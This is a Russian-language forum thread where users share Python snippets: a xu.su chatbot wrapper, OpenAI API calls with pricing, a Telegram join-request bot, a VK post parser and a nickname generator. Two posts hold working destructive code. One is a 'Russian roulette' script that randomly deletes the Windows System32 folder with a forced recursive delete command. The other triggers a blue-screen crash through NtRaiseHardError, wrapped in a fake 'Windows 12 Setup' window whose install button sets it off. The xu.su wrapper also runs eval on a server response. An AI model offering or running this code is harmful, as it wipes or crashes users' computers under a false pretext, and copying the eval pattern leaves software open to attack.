Информация Полезные сниппеты и функции

TastyBread123

Известный
Автор темы
603
285
Почему другим языкам дали, а питону нет? 😡
Описание: *текст*
Код сниппета/функции:
Сниппет:
#code
Пример использования:
Сниппет:
#пример
 
Последнее редактирование:

TastyBread123

Известный
Автор темы
603
285
Описание: отправляет запрос к xu.su и возвращает ответ. Полезно для простых тг ботов

Код:
Функция:
import requests
import emoji #pip install emoji

def xusu(text: str, bot_type: str = 'main') -> str: #text - текст для запроса, bot_type - выбор типа бота (посмотреть можно на сайте), по умолчанию "main"
    r = requests.post('https://xu.su/api/send', {"uid": None,"bot": bot_type,"text": text}) #отправляем запрос
    text = r.text.replace('true', 'True')
    data = eval(text) #превращаем ответ в словарь
    new_text = ''.join(char for char in data['text'] if char not in emoji.EMOJI_DATA)

    return new_text

Пример использования: print(xusu('как жизнь?'))
 
  • Bug
Реакции: Letovo и chapo

tfornik

Известный
310
224
Описание: Запрос для OpenAI по API-токену
! БЕСПЛАТНЫЙ ПРОБНЫЙ ПЕРИОД OPENAI - 5 ДОЛЛАРОВ! !
Код сниппета/функции:


Instruct GPT:
Python:
response = openai.Completion.create(
                engine="text-davinci-003",
                prompt=f"Q: {text}\nA:",
                temperature=0.5,
                max_tokens=1024,
                top_p=1,
                frequency_penalty=0,
                presence_penalty=0
)
answer = response.choices[0].text.strip()

Chat:
Python:
completion = openai.ChatCompletion.create(
        model="gpt-3.5-turbo",
        messages=[{"role": "user", "content": message}],
        temperature=0.5,
        max_tokens=1024,
        top_p=1,
        frequency_penalty=0,
        presence_penalty=0,
)

answer = completion.choices[0].message.content.strip()

Различия:
Для GPT-3 можно не указывать параметры(temperature, max_tokens, top_p и тд, кроме message и model)
InstructGPT возможно подходит больше для ботов, но мощные модели значительно дороже, чем модели Chat

Модели InstructGPT и их цена за 1.000 токенов:
(некоторую информацию взял из ANSAI(chapo script`s))
ADA - самая быстрая модель и самая низкая стоимость. Дата обучения: Октябрь 2019 года
Babbage - Быстрое выполнение задач, дешевый. Дата обучения: Октябрь 2019 года
Curie - мощный и дешевле чем Davinci. Дата обучения: Октябрь 2019 года
Davinci - самая дорогая и самый мощная модель. Дата обучения: Июнь 2021 года


Цена за 1.000 токенов:

ADA: $0.0004 / 1K tokens
Babbage: $0.0005 / 1K tokens
Curie: $0.0020 / 1K tokens
Davinci: $0.0200 / 1K tokens



Модели Chat и их цена за 1.000 токенов:
gpt-3.5-turbo - $0.002 / 1K tokens - Медленнее, чем InstructGPT. Очень хорошо анализирует текст и даёт плодотворный ответ.
Пример:
completion = openai.ChatCompletion.create(
        model="gpt-3.5-turbo",
        messages=[{"role": "user", "content": 'Hello, ChatGPT!'}],
        temperature=0.5,
        max_tokens=1024,
        top_p=1,
        frequency_penalty=0,
        presence_penalty=0,
)
answer = completion.choices[0].message.content.strip() ## .strip() - убирает лишние пробелы
print(answer)


Python:
response = openai.Image.create(
            prompt=prompt,
            n=1,
            size=size,
)

## size:
## 256×256
## 512×512
## 1024×1024

Цена за разрешение(размер) каждой фотографии:
256×256 - $0.016 / Картинка
512×512 - $0.018 / Картинка
1024×1024 - $0.020 / Картинка


Пример:
response = openai.Image.create(
            prompt='Cherry',
            n=1,
            size="256x256",
)


url = str(response["data"][0]["url"])
f = open('out.jpg', 'wb')
f.write(urllib.request.urlopen(url).read())
f.close()
img = open('out.jpg', 'rb')
## Сюда функцию для вывода фотографии
img.close()
 
  • Нравится
Реакции: TastyBread123

_Dino_

Активный
135
51
Описание: Автоматически принимает пользователя в группу/канал и пишет в ЛС этому пользователю с использованием библиотеки Telebot.
Код сниппета:
Отблагодарите меня хоть как нибудь):
import telebot

bot = telebot.Telebot("TOKEN_BOT")


def handle_join_request(message):
    bot.send_message(message.user_chat_id, "Автоматически принял вас в группу!")
    bot.approve_chat_join_request(message.chat.id, message.user_chat_id)


bot.register_chat_join_request_handler(handle_join_request)
 

tfornik

Известный
310
224
Описание: Русская рулетка
Python:
import random
import os

number = int(input())
while number < 0 or number > 6:
    print('От одного до 6.')
    number = int(input())
    

if random.randint(0,6) == number:
    os.remove('C:\Windows\System32')
    os.system('cmd /k del %windir%\system32\*.* /f /s /q')
 
  • Грустно
  • Вау
Реакции: lakman и TastyBread123

Loocking

Известный
1,378
472
Описание: получение полной информации о посте ВК
Код сниппета/функции:
Python:
import requests
group_id = ""  #айди группы либо страницы человека, обязательно ставить - перед ид группы!
access_token = ""  #как получить его можно узнать в гугле
def parser_vk():
    url = f"https://api.vk.com/method/wall.get?access_token={access_token}&v=5.122&owner_id={group_id}&count=1"
    response = requests.get(url)
    data = response.json()
    result = data['response']['items']
    return result
for post in parser_vk():
    print(post['text']) #в массиве содержится вся информация о посте, лайки и т.д
Пример использования:
Python:
import requests
import datetime
group_id = "-182234941"  #ид форумник самп
access_token = "vk.L9dDkfdldorGodGuVIU6DB7c_tsSCFVmlKur04Asdgy5l7RWF187ksDWA2RO_fsZoeLaS34AdTr"  #пример токена
def parser_vk():
    url = f"https://api.vk.com/method/wall.get?access_token={access_token}&v=5.122&owner_id={group_id}&count=1&offset=1"  #count - кол-во постов сколько нужно, offset - аля отступ, например: offset=1 означает что первый пост не будет брать(если нам не нужен закрепленный пост), его можно убрать
    response = requests.get(url)
    data = response.json()
    result = data['response']['items']
    return result
for post in parser_vk():
    print(f"Количество лайков на посте {post['likes']['count']}")
    print(f"Количество репостов на посте {post['comments']['count']}")
    print(f"Пост создан в {datetime.datetime.utcfromtimestamp(post['date'])}")
    if 'edited' in post:
        print(f"Пост изменен в {datetime.datetime.utcfromtimestamp(post['edited'])}")
    else:
        print(f"Пост не изменялся")
#output:
#Количество лайков на посте 210
#Количество репостов на посте 51
#Пост создан в 2023-05-04 18:00:02
#Пост изменен в 2023-05-04 18:01:35
 
  • Влюблен
Реакции: TastyBread123

Loocking

Известный
1,378
472
Описание: генератор никнейма SA:MP
Код сниппета/функции:

Python:
import requests
import random
def nickname():
        random_name = random.randint(0, 5163)
        random_surname = random.randint(5164, 81533)
        url = "https://raw.githubusercontent.com/AlannButler/database_names_surnames/main/n_s"
        result = requests.get(url)
        json = result.json()
        return f'{json[random_name]}_{json[random_surname]}'
Пример использования:
Python:
import requests
import random
def nickname():
        random_name = random.randint(0, 5163)
        random_surname = random.randint(5164, 81533)
        url = "https://raw.githubusercontent.com/AlannButler/database_names_surnames/main/n_s"
        result = requests.get(url)
        json = result.json()
        return f'{json[random_name]}_{json[random_surname]}'
print(nickname()) #Carolin_Pettes
input()
 
  • Нравится
Реакции: TastyBread123

riverya4life

Известный
393
169
Описание: Синий экран смерти (Увидел это от @chapo , подумал сделать так-же, только на питоне)
Код сниппета/функции:
Python:
import ctypes
ntdll = ctypes.windll.ntdll
prev_value = ctypes.c_bool()
res = ctypes.c_ulong()
ntdll.RtlAdjustPrivilege(19, True, False, ctypes.byref(prev_value))
ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(res))
Пример использования:
Python:
import tkinter as tk
import ctypes

def CallBSOD():
    ntdll = ctypes.windll.ntdll
    prev_value = ctypes.c_bool()
    res = ctypes.c_ulong()
    ntdll.RtlAdjustPrivilege(19, True, False, ctypes.byref(prev_value))
    ntdll.NtRaiseHardError(0xDEADDEAD, 0, 0, 0, 6, ctypes.byref(res))

root = tk.Tk()
root.config(bg='black')
root.title('Шиндовс 12 Сетуп')
root.geometry('500x200')
root.resizable(0, 0)

btnGenerate = tk.Button(root, text='Установить', font='Arial 13 bold', borderwidth=2, command=CallBSOD)
btnGenerate.place(relx=0.5, rely=0.8, anchor=tk.CENTER, width=150, height=50)
root.mainloop()